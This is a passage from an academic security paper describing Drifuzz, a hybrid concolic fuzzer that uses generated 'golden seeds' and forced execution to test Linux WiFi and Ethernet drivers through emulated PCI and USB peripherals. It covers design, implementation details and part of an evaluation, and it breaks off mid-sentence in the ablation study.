eral is compromised, the device can be used to launch attacks
on the main OS and gain control over the whole system.

Recent vulnerabilities in WiFi [2,42] and Bluetooth [33,44]
adapters illustrate the possibility of attacking the host re-
motely through flaws in device drivers. Although this attack
vector is complex and requires chaining multiple vulnerabili-
ties from device drivers and device firmware, it demonstrates
the possibility of gaining kernel privilege discreetly. In other
cases, corrupted or buggy peripherals can affect the host ker-
nel via memory errors in device drivers such as out-of-bound

writes. Moreover, even without finding vulnerabilities in the
peripheral firmware, attackers with physical access can per-
form “evil maid” attacks by connecting a malicious device
that identifies itself as a supported peripheral and then exploits
vulnerabilities in that device.1

There are two major security boundaries for a device driver:
the userspace-OS boundary and the OS-peripheral boundary.
Many works [10,12,21,27,37,41,52] in device driver security
focus on the former boundary by testing ioctl system calls.
Although some prior work [3, 47, 48, 50] has investigated
the low-level OS-peripheral boundary, it is overall less well-
explored. The latter boundary consists of hardware-related
inputs including port I/O, Memory Mapped I/O (MMIO),
Direct Memory Access (DMA), and interrupts. MMIO is
used to access individual hardware registers while DMA is
used for bulk transfers. Finally, hardware interrupts cause the
CPU to halt and transfer control to an interrupt handler within
the device driver.

A major challenge in testing device drivers is the diversity
of hardware peripherals. Some prior work [3, 47, 50] has
assumed the presence of actual hardware peripheral for each
driver under test, but such approaches are difficult to scale
(since multiple physical devices are needed in order fuzz in
parallel) and can be expensive (since one must obtain the
target hardware; for older drivers obtaining real hardware
may not even be feasible).

An attractive alternative to using real hardware is to test the
driver in an emulated environment such as QEMU. Emula-
tors do not need any specialized hardware, and testing can be
scaled up by simply launching more copies of the emulator.
This approach raises new challenges, however. Outside of
the relatively small set of peripherals supported by QEMU,
testing a device driver requires some understanding of the
expected behavior of the corresponding peripheral. For ex-
ample, many device drivers probe the values of identification

1Although historically such attacks (at least over PCI) were trivial due
to unrestricted direct memory access (DMA) to RAM, in modern systems
the increasingly prevalent use of IOMMUs means that malicious peripherals
typically only have access to a small portion of RAM.
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and status registers during initialization, and will regard the
device as broken or unsupported if the expected values are not
returned. A failed check on such an important path results in
immediate termination, leaving further driver code untested
and any deeper bugs undiscovered.

This problem is exacerbated by code patterns such as magic
value checks and polling loops in driver code, which present
roadblocks to traditional fuzzing techniques that generate
random values. We regard these roadblocks as blocking
branches and find them pervasive in device drivers. Our
key insight in this work is that while there are many ways for
driver initialization to fail, there is typically a “golden path”
that passes these checks and fully initializes the device driver.
Without knowledge of this golden path, fuzzing can only find
shallow paths where the driver terminates early. We introduce
a technique that combines concolic testing and forced execu-
tion to generate “golden seeds”: fuzzer inputs that can be used
to guide driver initialization. Concolic execution allows Dri-
fuzz to quickly solve hard-to-fuzz constraints such as magic
value checks, while forced execution lets us bypass repetitive
checks (e.g., polling loops) that would otherwise hinder both
concolic and symbolic approaches.

We leverage this idea to build Drifuzz, a concolic-assisted
fuzzer designed to uncover device driver vulnerabilities at
the OS-peripheral boundary. We implement our system as
a hybrid fuzzer: after generating a golden seed we alternate
between coverage-guided random fuzzing and concolic execu-
tion. Although hybrid fuzzing is a common technique in other
domains [21, 35, 36, 49, 54], it has not previously been used
at the OS-peripheral boundary. Hybrid fuzzing is particularly
effective for testing device drivers, which have relatively low
execution throughput and code patterns that random fuzzing
struggles with.

In our experiments we find that starting hybrid fuzzing with
a golden seed improves coverage by 214% (3.1×) for complex
WiFi drivers. On simpler drivers such as Ethernet NICs, we
find that Drifuzz outperforms the baseline fuzzer and achieves
60% (1.6×) more coverage. In addition, we find six new bugs
across the ten tested PCI drivers and six bugs in four tested
USB WiFi drivers.

We make the following contributions:

• We introduce a technique for generating “golden seeds”
that allow device driver code to execute successfully
without access to real hardware, allowing fuzzing to
reach deeper into driver code.

• We implement these ideas by adding support for concolic
execution and forced execution to the PANDA dynamic
analysis platform; to the best of our knowledge, Drifuzz
is the first whole-system hybrid fuzzer that tests the OS-
peripheral boundary.

• We use Drifuzz to find and fix 12 Linux device driver
bugs, two of which were assigned CVEs.

2 Background

2.1 Device Driver Security

Operating system kernels are implemented as the abstraction
between user-level software and hardware. Between the hard-
ware and kernel subsystem abstraction lie the device drivers.
Because there is a wide variety of hardware to support, device
drivers are many and varied. This makes it difficult for main-
tainers to audit the security of device drivers; Renzelmann
et al. [38] point out that device drivers also generally have
low test priority. At the same time, device drivers run in ker-
nel mode and are highly privileged, making them compelling
targets.

Device drivers are exposed to attacker-controlled input
from two sources: userspace and hardware. A Linux userspace
program can use the ioctl system call to invoke and exploit
a driver to perform a local privilege escalation to kernel-mode.
The other kind of attack comes from the hardware side; here
the peripheral is assumed to be either malicious or compro-
mised. In this paper, we focus on the hardware attack vector in
PCI and USB devices such as WiFi and Ethernet peripherals.
Because they receive external inputs via Ethernet or wireless
signals, vulnerabilities in these drivers may be exploitable
remotely and discreetly.

2.2 Whole System Emulation and Analysis

Full-system emulation using QEMU [1, 13] is useful for test-
ing kernel subsystems and drivers. Using a full-system emu-
lator allows us to attach an emulated hardware peripheral and
respond to interactions from the OS with fuzzed input. Prior
work, such as USBFuzz [34], Syzkaller’s USB Fuzzing [12]
and Agamotto [48], also use whole-system emulation for this
purpose.

KVM and TCG Mode QEMU provides two modes for full-
system emulation, Kernel-based Virtual Machine (KVM) and
Tiny Code Generator (TCG) modes. QEMU-KVM uses CPU
support for hardware virtualization via Linux’s KVM virtual-
ization subsystem [23], which allows it to run the compiled
OS binary with near bare-metal speed. QEMU-TCG, in com-
parison, translates the binary to an intermediate representation
(IR), and then translates the IR to machine code for the host ar-
chitecture for execution. Although TCG mode is slower than
hardware, TCG mode makes taint analysis [15] and symbolic
execution [36, 54] possible.

LLVM Mode Chipounov et al. [7] introduced a technique
for dynamically translating the TCG IR to LLVM IR so that
existing LLVM analysis techniques can be used with QEMU.
This work reduces the development overhead for creating
whole-system dynamic binary analyses, but it introduces a
large performance penalty that we discuss shortly.

1276    31st USENIX Security Symposium USENIX Association



PANDA PANDA (Platform for Architecture-Neutral Dy-
namic Analysis) [15] is a record-and-replay tool built upon
QEMU’s TCG and LLVM modes. PANDA inserts hooks in
full-system emulation to record essential inputs for a later
deterministic replay. The record-and-replay feature allows
users to record an execution in reasonably-fast TCG mode
and perform heavier analyses at replay time. This is important
when analyzing driver code, as many drivers have timeouts
and watchdog threads that may be triggered if execution speed
is too slow.

PANDA also supports taint analysis in a plugin system. A
user can mark input bytes as tainted and observe taint flow
and the branch instructions that depend on tainted data. It first
translates TCG-IR to LLVM-IR and instruments the LLVM to
add taint tracking, and then compiles and runs the LLVM code.
The process introduces about 20x overhead compared to TCG
mode: a ten-second recording can take about one minute in
TCG mode replay and twenty minutes in LLVM-mode replay.
When used in a fuzzer, this overhead can impede progress. In
section 4.3, we discuss our optimizations to run LLVM mode
selectively to improve speed.

Concolic Execution The random mutation strategy in
fuzzing may have trouble with hard-to-pass checks, such as
magic values or checksum validation, in real-world programs.
Concolic execution is a method that uses symbolic execution
on a concrete input to generate new inputs that diverge from
the concrete path. These neighboring paths can potentially
lead the fuzzer to an unexplored section of code and help the
fuzzer overcome these blocking branches [28].

2.3 Challenges

2.3.1 Hardware Diversity and Availability

Hardware diversity is the major drawback of previous work
that has hardware in the loop [47, 50]. Charm [50] re-
quires porting new device drivers to the host virtual machine
and components to the Android system, a task which the
authors estimate takes two to five person-days. Although
Periscope [47] needs less human labor, porting its compo-
nents to the tested Android device is still necessary.

More importantly, the hardware-in-the-loop approach is
not scalable. Even if the driver source code is available, re-
searchers need to purchase the hardware that corresponds to
each driver, which severely limits the ability of researchers
to conduct broad testing of many drivers. The reliance on
physical hardware also bounds the speed at which testing can
be performed, since each device can only run one test case
at a time. And powerful server hardware with many cores
cannot be effectively used for such testing, since the device
under test serves as a bottleneck. For these reasons, we believe
fuzzing with emulation is a better solution for securing the
OS-peripheral boundary.

1 #define VNIC_RES_MAGIC 0x766E6963L
2 #define VNIC_RES_VERSION 0L
3 if (ioread32(&rh->magic) != VNIC_RES_MAGIC ||
4 ioread32(&rh->version) != VNIC_RES_VERSION) {
5 return -EINVAL;
6 }
7 return 0;

Listing 1: Magic value check in snic.

2.3.2 Hard-to-Fuzz Code Patterns in Drivers

The benefit of fuzzing without real devices is that we can
easily scale up to running on multiple virtual machines. At
the same time, the lack of real hardware means that we have
little idea what the input to the driver should look like. When
fuzzing user-space programs, this problem can be alleviated
by building a corpus of valid inputs to use as initial seeds;
however, the inputs to device drivers do not conform to any
particular file format, so seed inputs are not available. As You
et. al. [53] note, fuzzing performance degrades when valid
inputs are not present.

Moreover, device drivers contain many constructs such as
magic values and polling loops that are challenging for tra-
ditional fuzzers and symbolic execution engines, and drivers
will typically abort as soon as they detect unusual responses
from the device. An example of a magic value check in the
Cisco snic driver is shown in Listing 1. To pass the check,
the fuzzer needs to provide a 4-byte value equal to the magic
value and another 4-byte value equal to the version id. In our
experiments, we found that a state of the art greybox fuzzer,
Agamotto, was unable to pass this condition and failed to
initialize the device driver. Magic values are often masked or
shifted before comparison, so even dictionary-based fuzzing
may not help.

Polling loops are also common in driver code: the driver
may repeatedly query some device registers in a loop and
abort if an unexpected value is encountered. An example
of such a loop can be seen in Listing 3 later in the paper,
where the ath9k driver tests an MMIO register in a loop 256
times. Existing techniques may struggle with such constructs:
fuzzing is unlikely to generate the correct value on each iter-
ation, symbolic execution may encounter path explosion (as
a new state is generated on each iteration of the loop), and
concolic execution would need to generate 256 inputs one at
a time in order to get past the loop.

3 Drifuzz Design

As shown in Figure 1, we design Drifuzz with three ma-
jor parts: seed generation, fuzzing, and concolic execution.
We first generate the golden seed (Section 3.2) that helps us
reach deep driver code with the help of concolic execution
and forced execution (Section 3.3). We then pass the golden
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Figure 1: OS-peripheral boundary fuzzing with Drifuzz: our golden seed generation algorithm creates good initial inputs to
overcome difficult checks during driver initialization. These seeds are then used as a starting point for a hypervisor-based
concolic fuzzer that tests deeper code in the driver by repeatedly restoring a VM snapshot, initializing the driver, and feeding
fuzzer-generated inputs via a virtual peripheral.

seed to our fuzzer, which sends mutated inputs to multiple
KVM virtual machines. Each virtual machine (VM) handles
MMIO/DMA reads with the content of the input seeds (Sec-
tion 3.1); seeds are split up and reserved by I/O address to
improve stability (Section 4.1). The virtual machine guest
initializes the device driver and brings up the target network
interface. After execution, the virtual machine reports the
branch coverage bitmap to the fuzzer core. The fuzzer sup-
ports hybrid fuzzing using a concolic execution thread (Sec-
tion 3.4).

3.1 Device Driver Inputs
MMIO and DMA are the two major sources of input for a
device driver. Working on low level, PCI drivers usually use
port I/O, MMIO and DMA directly. On the other hand, USB
drivers work on higher layer with a universal protocol where
data are transferred as packets.

MMIO is handled by QEMU’s PCI device emulation inter-
face. When we create an emulated device, we add memory-
mapped regions that reflect the PCI memory layout on real
hardware. Whenever the guest OS accesses these MMIO re-
gions, QEMU queries our emulated device, which forwards
MMIO reads to the fuzzer core. We ignore any writes to the
emulated MMIO. Because QEMU implements the port I/O
space as another memory region in its own address space, we
also handle port I/O in this way.

DMA accesses require special handling. The Linux docu-
mentation defines two types of DMA buffers: consistent DMA
and streaming DMA. Consistent DMA works synchronously:
the driver and the device can read and write to the allocated
space at any time and the result is visible to the other end

immediately. Streaming DMA uses asynchronous communi-
cation, where the driver allocates a buffer and lets the device
asynchronously access the buffer. When the device finishes
the work, it notifies the driver through MMIO or an interrupt.
The driver then deallocates the buffer and reads the data if
needed.

We modify the kernel code to intercept DMA allocation and
feed fuzzed input via the DMA buffer. We handle consistent
and streaming DMA in different ways. Because consistent
DMA is similar to MMIO, we register the memory region
as an MMIO region with QEMU when allocating consistent
DMA, and remove the region when it is deallocated. On the
other hand, streaming DMA is used for transferring a larger
amount of data asynchronously. Reading input happens after
deallocation. Therefore, we fill the buffer with fuzzing input
whenever deallocation occurs.

USB devices communicate data mostly via bulk transfers.
At the lowest level, these data packets are transferred by the
DMA controller and work similarly to streaming DMA. How-
ever, we leverage the USB layer of QEMU and handle them
at the packet level, similar to USBFuzz [34].

3.2 Golden Seed Search
In Section 2.3.2, we noted that the key problem of fuzzing
drivers without the corresponding hardware is the lack of
a good initial seed: without such input, fuzzing mostly gets
stuck early in driver initialization and cannot explore more
complex device driver code. In this subsection, we introduce
a search algorithm based on concolic execution to find such a
“golden seed” for our fuzzer.

Many symbolic branches in driver code have preferred
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conditions. Examples include an I/O flag that indicates the
device is still alive, a check if there is new input, or a version
ID check. Such branches must always resolve the same way if
driver initialization is to succeed. If they do not, the driver will
typically abort and prevent further exploration of the driver
code; we call these blocking branches. Hence, we can find
such branches using concolic execution and fix them to the
preferred condition to reach deeper code.

We define a preference as the mapping from branch instruc-
tions to their preferred conditions (Pre f erence : Branch →
Condition). A blocking branch is often indicated by an in-
crease in coverage when flipped and there may be multiple
blocking branches in one execution. Our algorithm greed-
ily attempts to maximize a score based on the number of
unique symbolic branches. Our golden seed search algorithm
iteratively identifies the blocking branches while executing
the seeds and improves the seed using a constraint solver to
unlock key branches.

Listing 2 shows our algorithm in detail. Starting from an
empty preferences map (line 2), we initialize the set of sym-
bolic branches to consider by executing a random input and
noting any branches that depend on input from the device
and storing it in new_branches. The while loop (lines 6–27)
then iteratively grows the preference map by attempting to
find the preferred condition for each new branch. It does so
by using forced execution (described in the next section) to
run the input with the branch set to either true or false (line
13), which records all symbolic branches and produces a new
input that induces the path. If this exposes new branches,
preferred_results is updated so the branches can be consid-
ered in the next iteration. Branch conditions that are already
present in the most recent execution are skipped (lines 11–12),
since they are already satisfied by the current trace.

Once all branches in the current iteration have been evalu-
ated, we pick the highest-scoring branch condition, save it in
the preferences (lines 23–24), and select corresponding input
and the branches it exposed to work on in the next iteration
(lines 26–27). The loop terminates when no new branches are
uncovered while testing branch conditions (lines 18–20), and
designates the current input as the golden seed.

Empirically, we have found that the best metric for evalu-
ating inputs is the number of unique symbolic branches they
expose. Compared to block or branch coverage, the number of
unique symbolic branches emphasizes how our inputs affect
the execution path. If there is a tie, we prefer the input that
results in fewer total symbolic branches (as shorter traces are
more efficient for fuzzing).

3.3 Forced Execution

Forced execution optimizes flipping repetitive concolic
branches in device drivers by simply forcing a branch to
go in the desired direction rather than attempting to solve the
constraints. Conventional concolic execution can only flip

1 def greedy_search(input):
2 preferences = {} # pc: cond
3 result = forced_execute(input, preferences)
4 new_branches = result.concolic_branches()
5
6 while True:
7 preferred_results = {}
8 for br in new_branches:
9 # Test for the preference condition

10 for c in [True, False]:
11 if satisfy(result, {br, c}):
12 continue
13 test_result = forced_execute(input,

merge(preferences, {br: c}))
14 if has_new_branch(test_result):
15 preferred_results[(br, c)] =

test_result
16
17 # No new branches found.
18 if len(preferred_results) == 0:
19 print("The end.")
20 break
21
22 # Prepare for next iteration
23 br, cond, result =
24 select_best_preference(

preferred_results)
25 preferences = merge(preferences, {br:cond})
26 new_branches = new_branches(result)
27 input = result.output
28 golden_seed = input

Listing 2: Golden seed search algorithm

one branch per execution; if a check is repetitive and has a
preferred condition, this will result in many wasted executions
and calls to the constraint solver. The code in Listing 3 shows
a real-world example in the Atheros ath9k driver. The optimal
path traverses the loop 256 (0x100) times with the condition
on line 6 returning false each time, requiring 256 concolic
runs.

To overcome this limitation of concolic execution, we use
forced execution [31] to get the desired path and generate the
correct input that will traverse that path, avoiding unnecessary
branch flips. For the example in Listing 3, forced execution
would allow us to traverse all 0x100 iterations of the loop
with a single execution by setting the branch on line 6 to false.
Concolic execution can then be used on this path to find the
inputs that satisfy the branch condition in a single step, rather
than having to solve each instance of the branch one at a time.

One pitfall of forced execution is that we cannot guarantee
that the executions we generate correspond to any input: we
may traverse paths that have conflicting conditions, resulting
in an infeasible path. During golden seed search, we always
try forced execution first, and retry with an input provided
by the solver if the first execution fails due to an infeasible
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1 int test_io() {
2 for (u32 i = 0; i < 0x100; i++) {
3 iowrite(OFFSET, i);
4 delay(10);
5 reg = ioread(OFFSET);
6 if (reg != i)
7 return -EIO;
8 }
9 return 0;

10 }

Listing 3: Atheros ath9k driver initialization test code snippet

path. If that also fails, we exclude the tested branches from
consideration in the golden seed search. In Section 4.5 we
describe in detail how we implement forced execution by
modifying the generated TCG IR on the fly.

3.4 Traditional and Hybrid Fuzzing

Our design inherits kAFL’s [41] traditional fuzzing design.
The core fuzzer mutates and records inputs based on the cov-
erage feedback. With the ability to run concolic execution,
we are able to provide hybrid fuzzing as well. After seed
generation, we use traditional fuzzing most of the time and
invoke concolic execution to get over hard-to-pass branch
conditions. When encountering a new path, the fuzzer core
forwards the input to the concolic executor to generate inputs
for neighboring paths. The new inputs are sent to the fuzzer
core to test whether they result in new coverage.

4 Implementation

In this section, we discuss several relevant implementation
details of our implementation. Overall, our implementation
consists of 8,754 lines of new or modified code in C and
Python; the total lines of code for each component are listed
in Table 1. All code is released as open source to help future
research and replication of our results.

Component Lines
Linux Comm Driver and DMA Tracking 470 + 0

PANDA Concolic Support 842 + 77
PANDA Customization 2421 + 146

Fuzzing Backend (adapted from kAFL) 872 + 331
Fuzzing Scripts 874 + 0
Concolic Scripts 2721 + 0

Table 1: Drifuzz components and lines of code, as counted by
cloc. We describe changes by added line + modified line.

4.1 Multi-buffer Input Feeding

Prior OS-peripheral boundary fuzzers [48] represent the
fuzzer input as a single file, returning data from this file se-
quentially as the driver attempts to read data from the device.
This compact sequential representation allows mutation strate-
gies such as bit-flips and interesting bytes to work well, but
may cause the same input to exhibit different behavior with
concurrent drivers, as the kernel scheduler could run threads
in a different order. This in turn could make it more difficult
to reproduce test cases produced by the fuzzer and makes cov-
erage measurements less stable. Concurrency is common in
device drivers, which may register some tasks to run in back-
ground threads while interrupt handling occurs in another
thread.

Instead, we store the fuzzer input as a collection of se-
quences separated according to their I/O address or DMA
buffer size. The intuition is that different I/O addresses usu-
ally have different purposes and different threads usually work
on different tasks, so this separation is more likely to provide
the same behavior and coverage even if threads run in a dif-
ferent order. Our evaluation of this technique did not uncover
major differences in bitmap coverage for the drivers we tested.
However, because it does not add additional overhead and
could still have benefits for drivers we have not yet tested, we
leave it enabled.

4.2 KASAN Optimization

A major factor in the effectiveness of a fuzzer is the speed
at which it can test a single input. While evaluating prior
work [48], we found that virtual machine execution speed is
much slower than native speed for tasks such as running the
Linux modprobe command, which loads and initializes a de-
vice driver. Although the command can finish in milliseconds
natively, it takes more than one second for some drivers inside
the virtual machine.

Analyzing the performance of the execution, we found that
the overhead is caused by stack walking in Kernel Address
Sanitizer (KASAN). By default, KASAN records each mem-
ory (de)allocation and its call stack; although this information
is not used in detecting memory errors, it allows KASAN to
produce stack traces for the (de)allocation site, which can be
helpful for debugging or for deduplicating crashes. However,
during fuzzing, this cost is borne on every process and thread,
and kernel module loading in particular involves many alloca-
tions (e.g., for the module code and all of its data structures).

We find that disabling this stack walk in KASAN results
in a 4× speedup on average. Although this produces slightly
less informative bug reports, we can easily reconstruct the
missing information and generate a complete report after the
fact by replaying interesting inputs with unmodified KASAN.
In Appendix A we provide further details on the performance
impact and causes of stack unwinding overhead and evaluate
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alternative solutions.

4.3 Selective Symbolic Execution

As discussed earlier, PANDA is built for offline analyses, so
it trades off speed for precision. However, high throughput is
critical for effective bug-finding in fuzzing. Inspired by previ-
ous works [8, 9], we apply selective symbolic execution and
only run device driver code in LLVM mode. In the absence
of KASLR (which we disable), loadable device drivers are
located starting at address 0xffffffffa0000000 on a 64-bit x86
system. We modify PANDA to only use LLVM translation if
the code address is above this address.

We also enable LLVM for three additional pieces of kernel
code that are needed for analysis: I/O functions, memcpy, and
context switch functions. I/O functions (such as ioread32)
are essential for us to register symbolic or taint values. The
memcpy function can be called from a kernel module but
resides in the code of the main kernel. And context switch
functions are important for the correctness of the symbolic
or taint tracking. When driver code is interrupted, the kernel
saves the current registers on the stack. When the driver code
gets to run again, the scheduler first restores the registers.
To properly preserve symbolic labels in registers, we force
context switch functions to run in LLVM mode.

By only running relevant driver code in LLVM mode, we
can speed up the analysis by up to 20×. With this optimiza-
tion, the overhead of running symbolic execution is almost
identical to the TCG-mode overhead. The reason is that there
are typically many kernel threads running in the background,
and so driver code is a relatively small fraction of the total
execution.

4.4 Concolic Execution

Similar to Siewertsen [46] (though independently imple-
mented), we build our concolic execution on PANDA’s ex-
isting taint analysis plugin. The design gives us many ad-
vantages. The record-and-replay system can let us run the
time-sensitive driver code in fairly fast TCG mode, and per-
form analysis in compute-heavy LLVM mode. We need full-
system emulation to attach emulated devices, and PANDA can
already handle such use case. Lastly, PANDA is built upon
QEMU and retains QEMU-KVM support; although we can
neither record nor replay under KVM mode, using PANDA
directly reduces redundant code. For constraint solving we
use the Microsoft’s Z3 [11] as it is fast, widely used, and
robust.

PANDA’s taint system translates TCG IR to LLVM IR, in-
strumenting it with functions that provide fine-grained (byte-
level) taint tracking. Depending on the LLVM IR instruction
type, taint can be propagated or removed. For example, multi-
plication mixes the taint of the input registers, while a store

instruction replaces taint on the destination with the taint
labels from the source.

To implement concolic execution, we extend the PANDA
taint system’s shadow memory to hold pointers to Z3 expres-
sions, and then implement symbolic rules for each LLVM IR
operation. For each IR instruction type, we apply the equiva-
lent symbolic expression and store the result in the shadow
memory. For example, in LLVM IR %result = %reg1 + %

reg2, if %reg1 has a symbolic value x and %reg2 has a con-
crete value 7, %result will hold the symbolic value x+7.

To mark the initial symbolic input, we wrote a plugin that
intercepts MMIO and DMA reads and creates byte-level sym-
bolic labels. We can then collect symbolic branch conditions
during execution; the full path condition is simply the conjunc-
tion of these constraints. For traces generated during forced
execution, we can use the path condition as-is to obtain an
input from the solver that would produce the trace in the
absence of forced execution (if one exists). During hybrid
fuzzing, we can use the path condition to invert a particular
branch by truncating the conjunction of constraints after the
term corresponding to that branch, negating that term, and
passing the resulting formula to the Z3 solver to obtain a new
input that causes the branch to go the opposite direction.

To handle symbolic pointers, Drifuzz concretizes the sym-
bolic address using the concrete value observed at runtime.
This is a common design choice shared with other imple-
mentations of concolic execution [19, 43, 45], but can limit
our ability to handle driver code that produces complex con-
straints involving symbolic pointers. This could be improved
by implementing symbolic pointer reasoning as found in sys-
tems such as Mayhem [5].

4.5 Forced Execution via TCG Modification

To achieve branch modification while still capturing useful
path constraints, we hook into QEMU’s TCG generation mod-
ule. During seed generation, we modify the target branch to
always go to the desired condition (either always true or al-
ways false). At the same time, we track the original branch
condition so that we can collect the corresponding path con-
straints.

When the concolic executor sees a modified branch, it adds
a path constraint that corresponds to the desired condition.
At the end of concolic execution, when we have collected all
path constraints, we use Z3 to solve the constraints and find a
real input for this path.

In the ath9k example (Listing 3), we can quickly test the
always-true or always-false condition for the branch. If the
condition is always true, the test I/O function quickly fails and
returns an error code to the caller, which aborts initialization.
On the other hand, 256 iterations of the loop can finish in a
single execution when the branch is always false, allowing the
core to continue execution and find unseen symbolic branches.
The new branches give the always-false condition a favorable
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1 int ath10k_wait_for_target_init() {
2 for (int i = 0; i < 0x100; i++) {
3 reg = ioread(); // concrete: 0
4 if (reg & FLAG_INIT) // forced true
5 break;
6 delay();
7 }
8 if (reg & FLAG_INIT) // not forced
9 return 0; // success;

10 return -ETIMEOUT; // error;
11 }

Listing 4: Infeasible path

score and we can proceed to find and solve the remaining
blocking branches.
Infeasible Paths Although forced execution works well in
practice, it can sometimes lead to infeasible paths (i.e., there
is no actual input that corresponds to the path). When there
are two symbolic branches that depend on one another, fix-
ing the outcome of one branch can result in an infeasible
path. The underlying cause is that during forced execution
variables involved in the modified branch condition retain
their original concrete values. If a later branch depends on the
same variable, the branch outcome will be consistent with the
concrete value, producing a pair of contradictory constraints
and an unsatisfiable path condition. For example, in Listing 4,
forcing line 4 to true without changing the condition at line 8
might cause a timeout error to be returned at line 10.

Due to the design of our TCG modification, we cannot
force the latter branch on the fly. TCG modification occurs
during execution, and it must be consistent throughout the
record-and-replay phase. Since we are unaware of symbolic
values at record time, we cannot modify the path to enforce
consistency with the earlier forced branch.

However, we can detect this condition: in an infeasible path,
the path constraints from the two conditions are contradictory
and Z3 will return unsat. When such an inconsistency is
detected, we remove the later path constraint and generate a
new input that satisfies the first path. We then repeat concolic
execution with newly generated input. Because we actually
change the concrete value, this allows the second branch to
be satisfied as well.

Although this works for most cases of infeasible paths,
there are more complicated cases (e.g., with more than two
dependent conditions) where this technique fails. In this case
we simply ignore the preference for that particular branch
when generating the golden seed.

4.6 Fuzzer Implementation
We build our fuzzer on top of kAFL [41] as it is a mature
fuzzer that works with QEMU-KVM instances. This allows
us to take advantage of fast hardware virtualization when
testing new inputs and collecting coverage.

1 #!/bin/bash
2 target=$1
3 # Intilize the driver
4 modprobe $target # Return if failed
5 # Wait for async tasks
6 sleep 1
7 # Bring up network interface
8 if ip link | grep "eth0"; then
9 ip link set dev eth0 up

10 elif ip link | grep "wlan0"; then
11 ip link set dev wlan0 up
12 fi

Listing 5: Scripts run by guest system

The fuzzer starts up multiple QEMU-KVM virtual machine
instances in parallel. For PCI targets, each QEMU instance
has an emulated peripheral configured with the PCI device
IDs2 of the target device to send fuzzing input. For USB
targets, we attach an emulated USB peripheral with a USB de-
scriptor containing the correct device identifier for the target
driver; this identifier can be obtained from the USB_DEVICE
declaration in the driver’s code. We attach another virtual de-
vice to the VM for communication with the fuzzing backend.
The VM also runs a modified guest Linux kernel that exposes
DMA mapping.

Each instance starts with a fresh environment by loading
a VM snapshot. It then runs a script inside the guest VM
(shown in Listing 5) that uses modprobe to load the driver,
waits for one second to let any background setup finish, and
then attempts to bring up the network interface so it is able
to receive or transmit packets. Our customized kernel detects
failures during initialization that prevent the module from
loading and will abort the run early to avoid wasting time on
unsuccessful runs.

When the script finishes, it reports coverage and restores
the VM to the saved snapshot. If the instance times out or has
a memory error, we record the input and restart the virtual
machine. For fuzzing PCI drivers, we also trigger an inter-
rupt for the device every 75 MMIO reads/writes. This allows
the interrupt handling code to be explored while preserving
determinism and reproducibility.

Our fuzzer uses the golden seed generated according to
the algorithm in Section 3.2 for its initial input and creates
test cases for each execution that reaches new coverage. Both
the initial seed and the test cases are stored in a format that
contains the binary file with actual values to return as well as
the mapping of MMIO addresses and DMA read sizes to the
values (as described in Section 4.1) for PCI devices. Because
input to USB devices is handled at the higher-level packet
interface, only the binary file is required.

2These IDs are readily available for each driver in the kernel’s
modules.alias file.
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5 Evaluation

In this section, we evaluate the efficiency and effectiveness of
Drifuzz on a total of ten real-world Ethernet and WiFi drivers,
including both PCI and USB targets. We are interested in the
following questions:

RQ1. Evaluating Drifuzz: How efficient and effective is
Drifuzz’s golden seed search? What are the individual
contributions of the golden seeds and hybrid fuzzing
components at achieving code coverage in drivers, com-
pared to a baseline coverage-guided fuzzer?

RQ2. Comparison with prior work: How does Drifuzz
compare to prior work on device driver testing that
used symbolic execution (SymDrive [38]) or coverage-
guided greybox fuzzing (Agamotto [48])?

RQ3. Bug-finding: Can Drifuzz find previously unknown
bugs in Linux network drivers?

5.1 Experimental Setup

Our evaluation is performed on two separate systems: a server
with 2x AMD EPYC 7542 32-core CPUs and 512 GiB of
RAM (referred to as just the “server machine” throughout this
section), and a desktop with a 16-core AMD Ryzen 5950x
CPU and 32 GiB of RAM (the “desktop machine”). We use
the former for our larger fuzzing experiments, and the latter for
smaller experiments and those that require a specialized kernel
(e.g., for comparisons with Agamotto) or other extensive local
modifications (such as the build and runtime environment for
SymDrive).

5.2 Evaluating Drifuzz

5.2.1 Golden Seed Generation

In this experiment, we run our golden seed generation algo-
rithm on the desktop machine with ten target drivers: three
PCI WiFi, four PCI Ethernet and three USB WiFi. In Table 2,
we list the mean time needed to generate the seed across
three trials, the total number of symbolic branches discovered,
and the number of blocking branches that are discovered and
solved. Ten of our twelve previously unknown bugs were
discovered during seed generation.

The time required for seed generation varies depending on
the complexity of the driver, from a few minutes for ris_usb
and mwifiex_usb up to 138 minutes for the ath9k driver. Seeds
are intended to be generated once and then used for longer
fuzzing campaigns, so we feel that these times are reasonable.
The number of symbolic branches found indicate that it is
capable of reaching deeper paths in driver code, particularly
for PCI drivers. Our results also show that blocking branches
are relatively common and present in all tested drivers.

Driver Time Sym Branch Block Bugs
ath9k 138m 118 7 0

ath10k_pci 25m 20 4 1
rtwpci 76m 22 6 0
8139cp 40m 19 2 0
atlantic 16m 20 1 2

snic 14m 7 4 0
stmmac_pci 75m 54 3 1

ar5523 57m 7 1 1
mwifiex_usb 2m 15 2 1

rsi_usb 3m 8 2 2

Table 2: Golden seed search statistics: runtime, number of
unique symbolic branches discovered, number of fixed block-
ing branches and number of bugs we found and fixed.

5.2.2 Ablation Study

To better understand the contribution of the seed generation
and concolic fuzzing components to Drifuzz’s ability to cover
code in complex drivers, we conduct an ablation study in
which we compare the coverage achieved in seven PCI net-
work drivers (three WiFi and four Ethernet) under different
configurations: greybox fuzzing with a random seed (Ran-
domSeed, our baseline), concolic fuzzing with random seed
(RS+C), greybox fuzzing with the generated golden seed
(GoldenSeed) and concolic fuzzing with golden seed (GS+C,
our full system).

The WiFi drivers tested are rtwpci, ath9k, and ath10k, and
the Ethernet drivers are stmmac_pci, 8139cp, atlantic, and
snic. The WiFi drivers are chosen because they are complex
SoftMAC drivers which implement most of the 802.11 func-
tionality in software rather than hardware, while the Ethernet
drivers were picked to allow comparison with prior work [48].

Our experiments run in parallel with 64 QEMU instances,
utilizing all physical cores. For each configuration, we run a
fuzzing experiment for 1 hour, for a total of 64 core-hours.
When running concolic execution, we pause a QEMU in-
stance to ensure all settings use the same amount of CPU
time. Following the fuzzing recommendations of Klees et
al. [24], we repeat each experiment ten times; we also provide
the coverage increase of the full system (GS+C) compared to
the baseline and assess statistical significance using the two-
sided Mann-Whitney U test. To measure coverage we count
the number of non-zero bytes in the coverage map (this is
equivalent to the number of unique edges discovered, modulo
hash collisions). The results are summarized in Table 3.

We find that compared to the baseline, the full Drifuzz con-
figuration can boost coverage by 214% in WiFi PCI drivers
and 60% in Ethernet PCI drivers, on average. The results
are statistically significant for all drivers except stmmac_pci
(although the gains for the 8139cp driver are quite small).
Through manual inspection, we find that stmmac_pci and
